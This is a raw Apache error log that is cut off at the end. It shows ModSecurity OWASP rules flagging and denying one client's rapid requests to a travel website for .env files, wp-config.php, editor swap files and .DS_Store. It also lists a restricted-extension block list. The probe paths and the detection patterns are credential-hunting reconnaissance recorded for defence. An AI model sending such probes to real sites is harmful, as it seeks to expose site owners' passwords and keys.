[Fri Jul 17 08:55:16.698150 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local.1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.local.1"] [unique_id "almgnIbYoYGvYnmnM82CDgAAAAs"]
[Fri Jul 17 08:55:16.698622 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.local.1"] [unique_id "almgnIbYoYGvYnmnM82CDgAAAAs"]
[Fri Jul 17 08:55:16.698841 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:16.699072 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnIbYoYGvYnmnM82CDgAAAAs"]
[Fri Jul 17 08:55:16.931274 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /rest/v1/;/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/rest/v1/;/.env.local"] [unique_id "almgnA5GPQ6hs4VrfMpBXwAAAAY"]
[Fri Jul 17 08:55:16.931589 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/rest/v1/;/.env.local"] [unique_id "almgnA5GPQ6hs4VrfMpBXwAAAAY"]
[Fri Jul 17 08:55:16.931785 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:16.931984 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnA5GPQ6hs4VrfMpBXwAAAAY"]
[Fri Jul 17 08:55:16.936893 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:16.952566 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:16.960520 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /rest/v1/;/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/rest/v1/;/.env.production"] [unique_id "almgnLEWOaI5pmYo9fnO1gAAAAA"]
[Fri Jul 17 08:55:16.960853 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/rest/v1/;/.env.production"] [unique_id "almgnLEWOaI5pmYo9fnO1gAAAAA"]
[Fri Jul 17 08:55:16.961015 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:16.961214 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnLEWOaI5pmYo9fnO1gAAAAA"]
[Fri Jul 17 08:55:17.015537 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.023216 2026] [authz_core:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php
[Fri Jul 17 08:55:17.023395 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.040567 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.041691 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.047067 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.048932 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.050846 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.057887 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.074211 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.074963 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.082024 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.088012 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.090754 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.105238 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.111443 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.116395 2026] [authz_core:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/.wp-config.php.swp
[Fri Jul 17 08:55:17.116667 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.118315 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.125198 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.125305 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /uploads/.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/uploads/.DS_Store"] [unique_id "almgnSvekYYQ8uns4MwlTQAAAA0"]
[Fri Jul 17 08:55:17.125755 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/uploads/.DS_Store"] [unique_id "almgnSvekYYQ8uns4MwlTQAAAA0"]
[Fri Jul 17 08:55:17.125915 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.126130 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnSvekYYQ8uns4MwlTQAAAA0"]
[Fri Jul 17 08:55:17.131787 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.DS_Store"] [unique_id "almgnY1dLClkUfK_dfHkuAAAAAI"]
[Fri Jul 17 08:55:17.132276 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.DS_Store"] [unique_id "almgnY1dLClkUfK_dfHkuAAAAAI"]
[Fri Jul 17 08:55:17.132513 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.132757 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnY1dLClkUfK_dfHkuAAAAAI"]
[Fri Jul 17 08:55:17.133831 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.134673 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.production.swp"] [unique_id "almgnYbYoYGvYnmnM82CEAAAAAs"]
[Fri Jul 17 08:55:17.135098 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.production.swp"] [unique_id "almgnYbYoYGvYnmnM82CEAAAAAs"]
[Fri Jul 17 08:55:17.135558 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.production.swp"] [unique_id "almgnYbYoYGvYnmnM82CEAAAAAs"]
[Fri Jul 17 08:55:17.135848 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.136092 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnYbYoYGvYnmnM82CEAAAAAs"]
[Fri Jul 17 08:55:17.143379 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag 